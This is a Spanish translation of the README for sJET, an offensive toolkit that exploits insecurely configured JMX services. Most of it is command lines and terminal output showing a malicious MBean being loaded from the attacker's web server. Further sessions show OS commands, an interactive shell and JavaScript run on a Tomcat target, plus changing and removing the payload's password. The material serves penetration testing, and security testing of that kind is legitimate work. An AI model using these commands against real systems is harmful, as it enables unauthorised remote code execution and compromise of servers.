sJET de siberas

siberas JMX Exploitation Toolkit

sJET permite una explotación fácil de servicios JMX configurados de forma insegura. Información adicional de antecedentes se puede encontrar aquí y aquí.

Requisitos previos

Jython 2.7

Uso

SJET implementa una interfaz CLI (usando argparse):

jython sjet.py targetHost targetPort password MODE (modeOptions)

Donde

targetHost - la dirección IP del objetivo
targerPort - el puerto del objetivo donde se ejecuta JMX
password - la contraseña que se estableció durante la instalación
MODE - el modo del script
modeOptions - las opciones para el modo seleccionado

Modos y modeOptions

install - instala el payload en el objetivo actual
- payload_url - URL completa para cargar el payload
- payload_port - puerto para cargar el payload
uninstall - desinstala el payload del objetivo actual
password - cambia la contraseña en un payload ya desplegado
- password - la nueva contraseña
command - ejecuta el comando CMD en el targetHost
- CMD - el comando a ejecutar
shell - inicia un shell simple en targetHost (con las limitaciones de Runtime.exec() de Java)
javascript - ejecuta un archivo javascript FILENAME en el targetHost
- FILENAME - el javascript a ejecutar

Ejemplo

Instalación del MBean payload en un servicio JMX vulnerable

En el siguiente ejemplo, el servicio JMX vulnerable se ejecuta en 192.168.11.136:9991, el atacante tiene la dirección IP 192.168.11.132. El servicio JMX se conectará al servicio web del atacante para descargar el archivo jar del payload. sJET iniciará el servicio web necesario en el puerto 8000.

Después de la instalación exitosa del MBean, la contraseña predeterminada se cambia a la contraseña que se proporcionó en la línea de comandos ("super_secret").

h0ng10@rocksteady:~/sjet$ jython sjet.py 192.168.11.136 9991 super_secret install http://192.168.11.132:8000 8000
sJET - siberas JMX Exploitation Toolkit
=======================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi
[+] Connected: rmi://192.168.11.132  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://192.168.11.132:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET / HTTP/1.1" 200 -
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET /siberas_mlet.jar HTTP/1.1" 200 -
[+] Successfully loaded MBeanSiberas:name=payload,id=1
[+] Changing default password...
[+] Loaded de.siberas.lab.SiberasPayload
[+] Successfully changed password

h0ng10@rocksteady:~/sjet$

Ejecutando el comando 'ls -la' en un objetivo Linux:

Después de instalar el payload, podemos usarlo para ejecutar comandos del sistema operativo en el objetivo.

h0ng10@rocksteady:~/sjet$ jython sjet.py 192.168.11.136 9991 super_secret command "ls -la"
sJET - siberas JMX Exploitation Toolkit
=======================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi
[+] Connected: rmi://192.168.11.132  2
[+] Loaded de.siberas.lab.SiberasPayload
[+] Executing command: ls -la
total 16
drwxr-xr-x  4 root    root    4096 Aug 22 16:12 .
drwxr-xr-x 66 root    root    4096 Aug 22 16:12 ..
lrwxrwxrwx  1 root    root      12 Mär 29 01:46 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Mär 29 01:46 lib
lrwxrwxrwx  1 root    root      17 Mär 29 01:46 logs -> ../../log/tomcat8
drwxrwxr-x  3 tomcat8 tomcat8 4096 Aug 22 16:12 webapps
lrwxrwxrwx  1 root    root      19 Mär 29 01:46 work -> ../../cache/tomcat8


[+] Done
h0ng10@rocksteady:~/sjet$

Ejecutando ping en modo shell en un objetivo

Si no quieres cargar Java para cada comando, puedes usar el "modo shell" para obtener un shell de comandos limitado.

h0ng10@rocksteady:~/sjet$ jython sjet.py 192.168.11.136 9991 super_secret shell
sJET - siberas JMX Exploitation Toolkit
=======================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi
[+] Connected: rmi://192.168.11.132  3
[+] Use command 'exit_shell' to exit the shell
>>> ping -c 3 127.0.0.1
[+] Loaded de.siberas.lab.SiberasPayload
[+] Executing command: ping -c 3 127.0.0.1
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.075 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.046 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.044 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2050ms
rtt min/avg/max/mdev = 0.044/0.055/0.075/0.014 ms


>>> exit_shell
[+] Done
h0ng10@rocksteady:~/sjet$

Invocar un payload JavaScript en un objetivo:

El script de ejemplo "javaproperties.js" muestra las propiedades de Java del servicio vulnerable. Se puede invocar de la siguiente manera:

h0ng10@rocksteady:~/sjet$ jython sjet.py 192.168.11.136 9991 super_secret javascript scripts/javaproperties.js
sJET - siberas JMX Exploitation Toolkit
=======================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi
[+] Connected: rmi://192.168.11.132  4
[+] Loaded de.siberas.lab.SiberasPayload
[+] Executing script
java.vendor=Oracle Corporation
sun.java.launcher=SUN_STANDARD
catalina.base=/var/lib/tomcat8
sun.management.compiler=HotSpot 64-Bit Tiered Compilers
catalina.useNaming=true
os.name=Linux
...
java.vm.name=OpenJDK 64-Bit Server VM
file.encoding=UTF-8
java.specification.version=1.8


h0ng10@rocksteady:~/sjet$

Cambiar la contraseña

Cambia la contraseña existente ("super_secret") a "this-is-the-new-password":

h0ng10@rocksteady:~/sjet$ jython sjet.py 192.168.11.136 9991 super_secret password this-is-the-new-password
sJET - siberas JMX Exploitation Toolkit
=======================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi
[+] Connected: rmi://192.168.11.132  6
[+] Loaded de.siberas.lab.SiberasPayload
[+] Successfully changed password

[+] Done
h0ng10@rocksteady:~/sjet$

Desinstalar el MBean payload del objetivo

Desinstala el payload 'Siberas' del objetivo:

minmaxer@prellermbp:~/sjet$ jython sjet.py 192.168.1.101 9010 super_secret uninstall
sJET - siberas JMX Exploitation Toolkit
=======================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.1.101:9010/jmxrmi
[+] Connected: rmi://192.168.1.1  16
[+] MBean correctly uninstalled
minmaxer@prellermbp:~/sjet$

Contribuir

Siéntete libre de contribuir.

Autores

Hans-Martin Münch - Idea inicial y trabajo - h0ng10
Patricio Reller - CLI y opciones adicionales - preller

Véase también la lista de contribuyentes que participaron en este proyecto.

Licencia

Este proyecto está bajo la licencia MIT - consulte el archivo LICENSE para más detalles.

sjet

Más Populares